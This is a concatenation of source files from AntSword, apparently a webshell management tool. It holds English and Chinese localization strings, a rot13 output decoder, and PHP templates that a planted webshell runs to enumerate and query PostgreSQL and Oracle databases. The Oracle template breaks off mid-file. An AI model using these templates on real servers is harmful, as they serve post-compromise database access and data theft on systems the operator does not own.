dbname: 'Name(readonly)',
characterset: 'Character Set',
charactercollation: 'Collation',
updatebtn: 'OK',
cancelbtn: 'Cancel',
success: 'Edit database successfully',
error: 'Failed to edit database'
},
deldb: {
title: 'Delete Database',
confirm: (name) => antSword.noxss(`Are you sure you want to delete database ${name} ?`),
success: 'Delete database successfully',
error: 'Failed to delete database'
},
addtable: {
title: 'New Table',
add: 'New Column',
delete: 'Delete Column',
save: 'Save',
gridheader: "Name,Type,Length,Not Null,Key,Auto Increment",
delete_not_select: "Please select the row you want to delete first",
save_row_is_null: "The number of rows is empty",
cell_valid_error: (i, j) => `Data format validation failed(row ${i + 1}, col ${j + 1})`,
confirmtitle: "New table name",
invalid_tablename: "Table names should not contain special symbols",
success: 'Create table successfully',
error: 'Failed to create table'
},
edittable: {
title: "New table name",
invalid_tablename: "Table names should not contain special symbols",
success: 'Update table name successfully',
error: 'Failed to update table'
},
deltable: {
title: 'Delete Table',
confirm: (name) => antSword.noxss(`Are you sure you want to delete table ${name}?`),
success: 'Delete table successfully',
error: 'Failed to delete table'
},
addcolumn: {},
editcolumn: {
title: "New column name",
invalid_tablename: "Column names should not contain special symbols",
get_column_type_error: "Get column type error",
success: 'Update column name successfully',
error: 'Failed to update column'
},
delcolumn: {
title: 'Delete Column',
confirm: (name) => antSword.noxss(`Are you sure you want to delete column ${name}?`),
success: 'Delete column successfully',
error: 'Failed to delete column'
}
},
probedb: {
title: 'Detect database function support',
success: 'Check completed',
coltype: 'ConnType',
issupport: 'Support'
}
},
settings: {
about: {
title: 'About',
header: 'AntSword',
homepage: 'Home',
document: 'Document',
qqgroup: 'QQ Group',
discord: 'Discord',
securityreport: 'Security Report',
wechat: 'Fllow us on WeChat'
},
language: {
title: 'Language setting',
toolbar: {
save: 'Save'
},
form: {
label: 'Select language'
},
success: 'Setting language success!',
confirm: {
content: 'Restart the application?',
title: 'Setting language'
}
},
update: {
title: 'Check update',
current: 'Current version',
toolbar: {
check: 'Check'
},
check: {
ing: 'Check for updates..',
fail: (err) => `Check for update failed!\n${err}`,
none: (ver) => `After examination, no update![v${ver}]`,
found: (ver) => `Found a new version [v${ver}]`
},
prompt: {
btns: {
ok: 'Update',
no: 'Cancel',
changelog: 'ChangeLog'
},
body: (ver) => `Found new version v${ver}, update now?`,
loader_body: (ver) => `The new version of the Loader v${ver} has been released, the currently used loader will not be available, will you quit the program and go to download the latest version of the Loader?`,
title: 'Update to version',
changelog: 'Change Logs: ',
sources: 'Download source: ',
fail: {
md5: 'File MD5 value check failed!',
unzip: (err) => `Unzip the file failed! [${err}]`
}
},
message: {
githint: (workdir) => `The current source is Git management, please close the program and go to ${workdir} to manually update`,
prepare: "Connecte to server...",
dling: (progress) => `Downloading...${progress}%`,
dlingnp: (size) => `Downloading...${size}`,
dlend: "Download completed",
extract: "Unpacking, don't close AntSword",
ing: 'Downloading..',
fail: (err) => `Update failed! [${err}]`,
success: 'Update success! Please manually restart the application later!'
}
},
encoders: {
title: 'Encoder Manager',
encoder: "Encoder",
decoder: "Decoder",
toolbar: {
new: "New Encoder",
new_decoder: "New Decoder",
edit: "Edit",
delete: "Delete",
help: "Help",
save: "Save",
rsa: "RSA Config",
more: "Get More",
generate: "Generate"
},
grid: {
ename: "Name",
etype: "Shell Type",
edtype: {
title: "Type",
encoder: "Encoder",
decoder: "Decoder"
}
},
form: {
public_key: "Public Key",
private_key: "Private Key",
php_code: "PHP Code"
},
rsa_config_win_title: "RSA Encoder Config",
edit_win_title: "Edit",
delete_title: "Delete",
message: {
ename_duplicate: "The name cannot be duplicated",
rename_success: "Rename success",
etype_error: "Type error",
retype_success: "Modify type success",
create_success: "Create success",
edit_not_select: "Please select the row you want to edit first",
edit_only_single: "You can only edit one",
edit_null_value: "Content can not be empty",
edit_save_success: "Save success",
delete_not_select: "Please select the row you want to delete first",
delete_success: "Delete success",
ename_invalid: "Name can only contain numbers, letters, and underlines",
rsa_save_success: "Generate and save RSA success",
rsa_save_error: "Generate and save RSA error"
},
prompt: {
create_encoder: "Create Encoder",
create_decoder: "Create Decoder"
},
confirm: {
generate: 'Are you sure to regemerate RSA?',
delete: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number'
? num + ' encoders'
: num}?`)
}
},
aproxy: {
title: 'Proxy setting',
toolbar: {
save: 'Save',
test: 'Test connect'
},
form: {
label: 'Configure proxy for access to the Internet',
mode: {
noproxy: 'Do not use agent',
manualproxy: 'Manually set the proxy'
},
proxy: {
protocol: 'Agency agreement',
server: 'Proxy server',
port: 'Port',
username: 'AuthUser',
password: 'Password',
authtip: 'If there is no authentication if'
}
},
success: 'Save proxy settings successfully!',
error: 'Failed to save the proxy settings!',
confirm: {
content: 'Restart the application to take effect, whether to restart?',
title: 'Change proxy settings'
},
prompt: {
title: 'Enter the Test-URL',
success: 'Connect to proxy server successfully',
error: 'Failed to connect to the proxy server'
}
},
display: {
title: 'Display setting',
success: 'Save display settings successfully!',
error: 'Failed to save the display settings!',
confirm: {
content: 'Restart the application to take effect, whether to restart?',
title: 'Change display settings'
},
toolbar: {
save: 'Save'
},
form: {
shellmanager: {
title: 'Shell Lists',
hiddencolumns: {
title: 'Hide selected columns',
url: 'URL',
ip: 'IP',
addr: 'ADDR',
note: 'NOTE',
ctime: 'CTIME',
utime: 'UTIME'
}
}
}
},
adefault: {
title: 'Default Setting',
success: 'Save default settings successfully!',
error: 'Failed to save the default settings!',
confirm: {
content: 'Restart the application to take effect, whether to restart?',
title: 'Change default settings'
},
toolbar: {
save: 'Save'
},
filemanager: {
title: 'FileManager',
openfileintab: {
title: 'Open File in',
window: 'Window',
tab: 'Tab'
},
bookmark: {
title: 'Global Bookmark',
nodata: 'No data, click the right mouse button add',
grid: {
name: 'Name',
path: 'Path'
},
bmenu: {
add: 'Add Bookmark',
del: 'Del Bookmark'
},
add: {
title: 'Add to global bookmark',
success: 'Add success',
namedup: 'The name cannot be duplicated',
name_invalid: 'Name is invalid',
addbtn: 'Confirm'
},
del: {
title: 'Delete Bookmark',
confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number'
? num + ' Bookmarks'
: num + " "}`),
success: 'Delete success'
},
edit: {
namedup: 'The name cannot be duplicated',
name_invalid: 'Name is invalid',
success: 'Edit success'
}
}
},
database: {
title: 'Database',
bookmark: {
title: 'Global Bookmark',
nodata: 'No data, click the right mouse button add',
grid: {
name: 'Name',
path: 'SQL'
},
bmenu: {
add: 'Add Bookmark',
del: 'Del Bookmark'
},
add: {
title: 'Add to global SQL bookmark',
success: 'Add success',
namedup: 'The name cannot be duplicated',
name_invalid: 'Name is invalid',
addbtn: 'Confirm'
},
del: {
title: 'Delete Bookmark',
confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number'
? num + ' Bookmarks'
: num + " "}`),
success: 'Delete success'
},
edit: {
namedup: 'The name cannot be duplicated',
name_invalid: 'Name is invalid',
success: 'Edit success'
}
}
},
shellmanager: {
title: 'ShellManager',
header: {
title: 'Default HTTP Headers',
nodata: 'No HTTP Header data, click the right mouse button add',
grid: {
name: 'Name',
value: 'Vaule'
},
bmenu: {
add: 'Add HTTP Header',
del: 'Del HTTP Header'
},
add: {
title: 'Add HTTP Header',
success: 'Add success',
namedup: 'The name cannot be duplicated',
name_invalid: 'Name is invalid',
addbtn: 'Confirm'
},
del: {
title: 'Delete HTTP Header',
confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number'
? num + ' Headers'
: num + " "}?`),
success: 'Delete success'
},
edit: {
namedup: 'The name cannot be duplicated',
name_invalid: 'Name is invalid',
success: 'Edit success'
}
},
body: {
title: 'Default HTTP Body',
nodata: 'No HTTP Body data, click the right mouse button add',
grid: {
name: 'Name',
value: 'Value'
},
bmenu: {
add: 'Add HTTP Body',
del: 'Del HTTP Body'
},
add: {
title: 'Add HTTP Body',
success: 'Add success',
namedup: 'The name cannot be duplicated',
name_invalid: 'Name is invalid',
addbtn: 'Confirm'
},
del: {
title: 'Delete HTTP Body',
confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number'
? num + ' HTTP Body'
: num + " "}?`),
success: 'Delete success'
},
edit: {
namedup: 'The name cannot be duplicated',
name_invalid: 'Name is invalid',
success: 'Edit success'
}
},
other: {
nohttps: 'Ignore HTTPS certificate',
userandomvariable: 'Use random English word variables',
requestTimeout: 'Request timeout'
}
},
terminal: {
title: 'Terminal',
size: 'Scale'
}
}
},
plugin: {
error: (err) => `Load Plugin Store failed!\n${err}`
},
update: {
title: 'Found updates',
body: (ver) => `New version: ${ver}, view changelog`
},
viewsite: {
toolbar: {
useproxy: (s) => `Proxy: ${s
? 'ON'
: 'OFF'}`,
save: 'Save',
view: 'View'
},
saveSuccess: 'Save cookie configuration is successful!',
saveFailed: (err) => `Save cookie configuration failed!\n${err}`
}
}
``` | /content/code_sandbox/source/language/en.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 7,297 |
```javascript
/**
* php::base64
* ? phpbase64_decode
*/
'use strict';
const rot13encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ?
90 :
122) >= (c = c.charCodeAt(0) + 13) ?
c :
c - 26);
});
};
module.exports = {
asoutput: (tag_s, tag_e) => {
return `function asenc($out){
return str_rot13($out);
}
`.replace(/\n\s+/g, '');
},
decode_buff: (buff) => {
return Buffer.from(rot13encode(buff.toString()));
}
}
``` | /content/code_sandbox/source/core/phpraw/decoder/rot13.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 216 |
```javascript
//
// language::zh
//
module.exports = {
title: '',
toastr: {
info: '',
error: '',
warning: '',
success: ''
},
menubar: {
main: {
title: 'AntSword',
about: '',
pluginStore: '',
settings: '',
language: '',
encoders: '',
aproxy: '',
display: '',
update: '',
quit: ''
},
edit: {
title: '',
undo: '',
redo: '',
cut: '',
copy: '',
paste: '',
selectall: '',
search: ''
},
window: {
title: '',
next: '',
prev: '',
close: ''
},
debug: {
title: '',
restart: '',
devtools: ''
},
tray: {
tip: '',
show: '',
hide: '',
settings: '',
about: '',
quit: ''
}
},
shellmanager: {
title: '',
contextmenu: {
terminal: '',
filemanager: '',
database: '',
add: '',
edit: '',
delete: '',
move: '',
copy: '',
search: '',
plugin: '',
pluginDefault: '',
pluginStore: '',
clearCache: '',
clearAllCache: '',
viewsite: '',
copyurl: 'URL'
},
category: {
title: '',
default: '',
toolbar: {
add: '',
del: '',
rename: ''
},
add: {
title: ''
},
del: {
title: '',
confirm: '',
success: (category) => `${category}`,
error: (category, err) => `${category}\n${err}`
},
rename: {
title: '',
disable: '',
exists: '',
success: '',
error: ''
}
},
list: {
title: '',
not_recommended: '',
grid: {
url: 'URL',
ip: 'IP',
addr: '',
note: '',
ctime: '',
utime: ''
},
add: {
title: '',
toolbar: {
test: '',
add: '',
clear: ''
},
form: {
url: 'URL',
pwd: '',
note: '',
encode: '',
type: '',
encoder: '',
decoder: ''
},
test_success: '!',
test_warning: '',
warning: '',
success: '',
error: (err) => `\n${err}`
},
edit: {
title: (url) => antSword.noxss(`${url}`),
toolbar: {
save: '',
clear: ''
},
form: {
url: 'URL',
pwd: '',
note: '',
encode: '',
type: '',
encoder: ''
},
warning: '',
success: '',
error: (err) => `\n${err}`
},
del: {
title: '',
confirm: (len) => antSword.noxss(`${len}`),
success: (len) => `${len}`,
error: (err) => `\n${err}`
},
move: {
success: (num) => `${num}`,
error: (err) => `\n${err}`
},
clearCache: {
title: '',
confirm: '',
success: '',
error: (err) => `\n${err}`
},
clearAllCache: {
title: '',
confirm: '',
success: '',
error: (err) => `\n${err}`
},
accordion: {
base: '',
http: '',
other: ''
},
otherConf: {
nohttps: 'HTTPS',
userawbody: 'Body RAW ',
userawbodyNotSupport: 'Shell RAW Body (RAW)',
usemultipart: ' Multipart ',
userandomvariable: '',
addMassData: '',
randomPrefix: '',
chunk: {
title: '()',
usechunk: '',
min: '',
max: '',
exphint: ', Multipart ,Chunked,30s,' +
''
},
terminalCache: '',
filemanagerCache: '',
uploadFragment: '',
requestTimeout: '',
commandPath: '',
customDatatag: {
title: '',
usecustomdatatag: '',
tags: '',
tage: '',
exphint: '',
valideq: ''
},
}
},
toolbar: {
select: 'WebShell',
setting: {
text: '',
pluginlist: '(8)',
title: '',
save: '',
clear: '',
error_max: '8'
}
}
},
terminal: {
title: '',
banner: {
title: '',
drive: '',
system: '',
user: '',
path: ''
},
ascmd: {
help: ' ashelp ',
ashelp: `:
asenv [Key=Value]\t\t, eg: asenv AAA=BBB
ascmd [file]\t\tfile, eg: ascmd /bin/bash
aslistcmd\t\t
aspowershell [on|off]\t\t/PowerShell, eg: aspowershell on
aswinmode [on|off]\t\t/Windows(), eg: aswinmode on
quit\t\t
exit\t\t
:
Ctrl =\t\t
Ctrl -\t\t
Ctrl L\t\t
Ctrl U\t\t
Ctrl A\t\t
Ctrl E\t\t
Ctrl F/B\t\t()
Ctrl P\t\t
Ctrl R\t\t
Ctrl D\t\t
Ctrl H\t\t
Ctrl W\t\t
Ctrl K\t\t
Ctrl T\t\t
`,
ascmd: (cmd) => antSword.noxss(` ${cmd} .`),
aspowershell: {
on: "Powershell",
off: "Powershell"
}
}
},
filemanager: {
title: '',
delete: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num} `),
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
paste: {
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
rename: {
title: '',
success: '',
error: (err) => `${err
? '\n' + err
: ''}`
},
createFolder: {
title: '',
value: '',
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
createFile: {
title: '',
value: '.txt',
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
retime: {
title: '',
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
chmod: {
title: '',
check: ", eg: 0644",
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
wget: {
title: 'Wget',
check: 'URL',
task: {
name: 'WGET',
start: '..',
success: '',
failed: (ret) => `:${ret}`,
error: (err) => `:${err}`
}
},
upload: {
task: {
name: '',
success: '',
httperr_413: '',
httperr_etime: ',',
httperr_econnrefused: ',',
failed: (err) => `:${err}`,
error: (err) => `:${err}`
},
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err}`
},
folder: {
title: ''
},
files: {
title: '',
bookmark: {
add: '',
del: '',
clear: ''
},
toolbar: {
new: '',
folder: '',
file: '',
wget: 'Wget',
upload: '',
up: '',
refresh: '',
home: '',
bookmark: '',
read: ''
},
prompt: {
add: {
title: '',
success: (path) => `\n${path}`
},
remove: {
title: '',
confirm: '',
success: ''
},
clear: {
title: '',
confirm: '',
success: ''
}
},
grid: {
header: {
name: '',
time: '',
size: '',
attr: ''
},
contextmenu: {
paste: {
title: '',
all: '',
clear: {
title: '',
info: ''
}
},
preview: '',
filehash: '',
edit: {
title: '',
openwindow: '',
opentab: ''
},
delete: '',
rename: '',
refresh: '',
wget: 'WGET',
upload: '',
download: '',
modify: '',
chmod: '',
copy: {
title: '',
copyname: '',
copypath: '',
copysuccess: '!',
copyfail: '!',
warning: (id) => `\n${id}`,
info: (id) => `\n${id}`
},
create: {
title: '',
folder: '',
file: ''
},
terminal: ''
}
}
},
editor: {
title: (path) => `: ${path}`,
toolbar: {
refresh: '',
save: '',
mode: '',
encode: ''
},
loadErr: (err) => `\n${err}`,
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err}`
},
tasks: {
title: '',
grid: {
header: {
name: '',
desc: '',
status: '',
stime: '',
etime: ''
}
}
},
download: {
title: '',
task: {
name: '',
wait: '',
cancel: '',
start: '',
success: '',
error: (err) => `:${err}`
},
error: (name, err) => `[${name}]\n${err}`,
success: (name) => `[${name}]`
}
},
database: {
list: {
title: '',
add: '',
del: '',
edit: '',
check: '',
menu: {
add: '',
del: '',
edit: '',
adddb: '',
editdb: '',
deldb: '',
addtable: '',
edittable: '',
deltable: '',
showcreatetable: '',
desctable: '',
addcolumn: '',
editcolumn: '',
delcolumn: ''
}
},
query: {
title: 'SQL',
exec: '',
clear: '',
bookmark: {
title: '',
add: '',
del: '',
clear: ''
},
prompt: {
add: {
title: 'SQL',
success: (sql) => `!\nSQL: ${sql}`
},
remove: {
title: '',
confirm: '?',
success: ''
},
clear: {
title: '',
confirm: '?',
success: ''
}
}
},
result: {
title: '',
warning: '',
error: {
database: (err) => `\n${err}`,
table: (err) => `\n${err}`,
column: (err) => `\n${err}`,
query: (err) => `SQL\n${err}`,
parse: '',
noresult: ''
},
dump: {
title: "",
success: ""
}
},
notsupport: '',
form: {
title: '',
toolbar: {
add: '',
clear: '',
edit: '',
test: ''
},
conn: '',
type: '',
encode: '',
host: '',
user: '',
passwd: '',
warning: '',
success: '',
test_success: '!',
test_warning: '',
del: {
title: '',
confirm: '',
success: '',
error: (err) => `\n${err}`
},
adddb: {
title: '',
dbname: '',
characterset: '',
charactercollation: '',
createbtn: '',
cancelbtn: '',
success: '',
error: ''
},
editdb: {
title: '',
dbname: '()',
characterset: '',
charactercollation: '',
updatebtn: '',
cancelbtn: '',
success: '',
error: ''
},
deldb: {
title: '',
confirm: (name) => antSword.noxss(` ${name} ?`),
success: '',
error: ''
},
addtable: {
title: '',
add: '',
delete: '',
save: '',
gridheader: ",,,,,",
delete_not_select: "",
save_row_is_null: "",
cell_valid_error: (i, j) => `(${i + 1},${j + 1})`,
confirmtitle: "",
invalid_tablename: "",
success: '',
error: ''
},
edittable: {
title: "",
invalid_tablename: "",
success: '',
error: ''
},
deltable: {
title: '',
confirm: (name) => antSword.noxss(` ${name} ?`),
success: '',
error: ''
},
addcolumn: {},
editcolumn: {
title: "",
invalid_tablename: "",
get_column_type_error: "",
success: '',
error: ''
},
delcolumn: {
title: '',
confirm: (name) => antSword.noxss(` ${name} ?`),
success: '',
error: ''
}
},
probedb: {
title: '',
success: '',
coltype: '',
issupport: ''
}
},
settings: {
about: {
title: '',
header: '',
homepage: '',
document: '',
qqgroup: 'Q',
discord: '',
securityreport: '',
wechat: ''
},
language: {
title: '',
toolbar: {
save: ''
},
form: {
label: ''
},
success: '',
confirm: {
content: '',
title: ''
}
},
update: {
title: '',
current: '',
toolbar: {
check: ''
},
check: {
ing: '',
fail: (err) => `\n${err}`,
none: (ver) => `v${ver}`,
found: (ver) => `v${ver}`
},
prompt: {
btns: {
ok: '',
no: '',
changelog: ''
},
body: (ver) => ` v${ver}, ?`,
loader_body: (ver) => ` v${ver} ,, ?`,
title: '',
changelog: '',
sources: '',
fail: {
md5: 'MD5',
unzip: (err) => `${err}`
}
},
message: {
githint: (workdir) => `Git ${workdir} `,
prepare: "...",
dling: (progress) => `...${progress}%`,
dlingnp: (size) => `...${size}`,
dlend: "",
extract: ", ",
ing: '',
fail: (err) => `${err}`,
success: ''
}
},
encoders: {
title: '',
encoder: "",
decoder: "",
toolbar: {
new: "",
new_decoder: "",
edit: "",
delete: "",
help: "",
save: "",
rsa: "RSA",
more: "",
generate: ""
},
grid: {
ename: "",
etype: "Shell",
edtype: {
title: "",
encoder: "",
decoder: ""
}
},
form: {
public_key: "",
private_key: "",
php_code: "PHP "
},
rsa_config_win_title: "RSA",
edit_win_title: "",
delete_title: "",
message: {
ename_duplicate: "",
rename_success: "",
etype_error: "",
retype_success: "",
create_success: "",
edit_not_select: "",
edit_only_single: "",
edit_null_value: "",
edit_save_success: "",
delete_not_select: "",
delete_success: "",
ename_invalid: "",
rsa_save_success: " RSA ",
rsa_save_error: " RSA "
},
prompt: {
create_encoder: "",
create_decoder: ""
},
confirm: {
generate: '?',
delete: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`)
}
},
aproxy: {
title: '',
toolbar: {
save: '',
test: ''
},
form: {
label: '',
mode: {
noproxy: '',
manualproxy: ''
},
proxy: {
protocol: '',
server: '',
port: '',
username: '',
password: '',
authtip: ''
}
},
success: '',
error: '',
confirm: {
content: '',
title: ''
},
prompt: {
title: ' URL',
success: '',
error: ''
}
},
display: {
title: '',
success: '',
error: '',
confirm: {
content: '',
title: ''
},
toolbar: {
save: ''
},
form: {
shellmanager: {
title: '',
hiddencolumns: {
title: '',
url: 'URL',
ip: 'IP',
addr: '',
note: '',
ctime: '',
utime: ''
}
}
}
},
adefault: {
title: '',
success: '',
error: '',
confirm: {
content: '',
title: ''
},
toolbar: {
save: ''
},
filemanager: {
title: '',
openfileintab: {
title: '',
window: '',
tab: ''
},
bookmark: {
title: '',
nodata: ', ',
grid: {
name: '',
path: ''
},
bmenu: {
add: '',
del: ''
},
add: {
title: '',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
}
},
database: {
title: '',
bookmark: {
title: '',
nodata: ', ',
grid: {
name: '',
path: 'SQL'
},
bmenu: {
add: '',
del: ''
},
add: {
title: 'SQL',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
}
},
shellmanager: {
title: '',
header: {
title: '',
nodata: ', ',
grid: {
name: '',
value: ''
},
bmenu: {
add: '',
del: ''
},
add: {
title: '',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
},
body: {
title: ' Body',
nodata: 'Body, ',
grid: {
name: '',
value: ''
},
bmenu: {
add: 'Body',
del: 'Body'
},
add: {
title: 'Body',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: 'Body',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' Body'
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
},
other: {
nohttps: 'HTTPS',
userandomvariable: '',
requestTimeout: ''
}
},
terminal: {
title: '',
size: ''
}
}
},
plugin: {
error: (err) => `\n${err}`
},
update: {
title: '',
body: (ver) => `${ver}, `
},
viewsite: {
toolbar: {
useproxy: (s) => `: ${s
? ''
: ''}`,
save: '',
view: ''
},
saveSuccess: 'Cookie',
saveFailed: (err) => `Cookie\n${err}`
}
}
``` | /content/code_sandbox/source/language/zh.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 4,920 |
```javascript
/**
* ::postgresql_pdo
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
list($host, $port,$dbn) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$dbn == "" ? $dbn = "postgres" : $dbn;
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="select datname FROM pg_database where datistemplate='f';";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
echo(trim($res['datname']).chr(9));
}
$dbh=null;
}`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn,
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
echo(trim($res['table_name']).chr(9));
}
$dbh=null;
}`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$tab=base64_decode("#{base64::table}");
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn,
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="SELECT column_name,udt_name,character_maximum_length FROM information_schema.COLUMNS WHERE TABLE_NAME = '{$tab}';";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
$len=$res['character_maximum_length'] ? $res['character_maximum_length']:"0";
echo(trim($res['column_name'])." ({$res['udt_name']}({$len}))".chr(9));
}
$dbh = null;
}`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$sql=base64_decode("#{base64::sql}");
$encode=base64_decode("#{base64::encode}");
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn,
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$result=$dbh->prepare($sql);
if(!$result->execute()){
echo("Status\\t|\\t\\r\\n");
$err="";
foreach(@$result->errorInfo() as $v){
$err.=$v." ";
}
echo(base64_encode("ERROR://".$err)."\\t|\\t\\r\\n");
}else{
$bool=True;
while($res=$result->fetch(PDO::FETCH_ASSOC)){
if($bool){
foreach($res as $key=>$value){
echo($key."\\t|\\t");
}
echo "\\r\\n";
$bool=False;
}
foreach($res as $key=>$value){
echo(base64_encode($value!==NULL?$value:"NULL")."\\t|\\t");
}
echo "\\r\\n";
}
if($bool){
if(!$result->columnCount()){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode($result->rowCount())."\\t|\\t\\r\\n");
}else{
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://Table is empty.")."\\t|\\t\\r\\n");
}
}
}
$dbh = null;
}`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/phpraw/template/database/postgresql_pdo.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,458 |
```javascript
/**
* ::oracle oci8
* i => \\t|\\t
*
* session_mode: OCI_DEFAULT 0 OCI_SYSOPER 4 OCI_SYSDBA 2
*
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$sid=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$chs="utf8";
$mod=0;
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");
if(@oci_execute($q)){
while(@oci_fetch($q)){
echo(trim(@oci_result($q,1)).chr(9));
}
}else{
echo("Status\\t|\\t\\r\\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\\t|\\t\\r\\n");
}else{
echo("RmFsc2U="."\\t|\\t\\r\\n");
}
}
@oci_close($H);
};`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `
$sid=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$chs="utf8";
$mod=0;
$sql="SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)";
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,$sql);
if(@oci_execute($q)){
$n=@oci_fetch_all($q,$res,0,-1,OCI_FETCHSTATEMENT_BY_ROW+OCI_NUM);
if($n==0){
echo("ERROR://Database has no tables or no privilege");
}else{
for($i=0;$i<$n;$i++){
$row=$res[$i];
echo(trim($row[0]).chr(9));
}
}
}else{
echo("Status\\t|\\t\\r\\n");
$e=@oci_error($q);
if($e){
